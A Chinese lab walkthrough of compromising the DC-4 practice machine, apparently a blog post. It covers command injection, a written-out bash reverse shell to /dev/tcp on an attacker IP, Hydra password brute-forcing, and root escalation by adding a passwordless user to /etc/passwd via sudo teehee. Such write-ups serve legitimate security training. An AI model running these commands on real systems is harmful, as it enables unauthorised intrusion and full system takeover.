dc4打靶报告

先arp-scan -l 扫局域网内存活主机

发现疑似靶机ip,开始探测

start attrack攻击最后得到密码happy

command进去,发现不同的选项run了之后,select后面会对应一些命令行,所以可以推测run了之后终端会执行对应的命令行

所以run的时候抓包看一下,找到了命令行的地方

send to repeater试一下其他命令

whoami回显成功

kali连反弹shell

把bash命令行写到这里面,然后放包

注意:前面观察ls的时候,数据包里面传输的命令行把空格都换成了加号+

所以我们的bash命令是这样的

复制代码
bash+-c+'bash+-i+>&+/dev/tcp/192.168.145.128/1234+0>&1'

修改之后forward放包

连接成功

到处看看有什么有用的

几个名字下都是空,jim用户里有东西,继续进到backups里面还有一个old-passwords.bak文件

cat后发现是一个密码列表

重新开一个攻击终端,把密码列表copy过去

hydra爆破

爆破出来jim的密码是jibril04

远程连接成功,看到回显里面有个提示

"You have mail"

猜测是不是让找mail文件,ls看一下

果然有一封来着另一个用户charles的mail

给了密码,直接su到charles用户下,切换成功

我们看一下这个账号能用root权限做什么

这里,说明用户 charles 可以无需密码,以 root 权限执行 /usr/bin/teehee 命令

开始提权------passwd文件注入提权

用这个命令添加一个免密的root666用户

检查,写入成功了

切换过去,成功了

找到flag文件

成功!

完结撒花!!!

相关推荐
光电的一只菜鸡5 小时前
ubuntu之坑(二十)——VMware虚拟机系统无法正常进入如何处理
linux·运维·ubuntu
青 春 记 忆5 小时前
Dify Docker Compose 通用无损升级指南:从备份、双版本预演到切换与回滚
运维·人工智能·python·docker·容器
MC皮蛋侠客6 小时前
DNP3 系列(十二):测试与工具链——模拟器、Wireshark 与一致性测试
网络·wireshark·dnp3
Java王小怪7 小时前
Docker环境Redis没挂载保存数据
运维·docker·容器
你住过的屋檐7 小时前
【Nginx】linux上安装nginx
linux·运维·nginx
观测云7 小时前
Fastjson 高危 RCE(CVE-2026-16723):如何用观测云快速发现并完成修复
网络·安全·可观测性·观测云
大模型码小白8 小时前
Spring AI Tool 实现自然语言操作 MySQL 数据库详解
服务器·开发语言·数据库·人工智能·python·mysql·spring
晓晓_za8986689 小时前
开源 GEO 优化源码二次开发:贴牌改造与业务模块扩展实践
java·运维·服务器·开发语言·性能优化·开源
楷哥爱开发9 小时前
TikTok Shop新加坡本土店入驻:如何选择新加坡本土住宅IP?
网络·网络协议·tcp/ip
云计算DevOps-韩老师9 小时前
【MySQL运维DBA】【SQL基础系列002篇】
运维·mysql·dba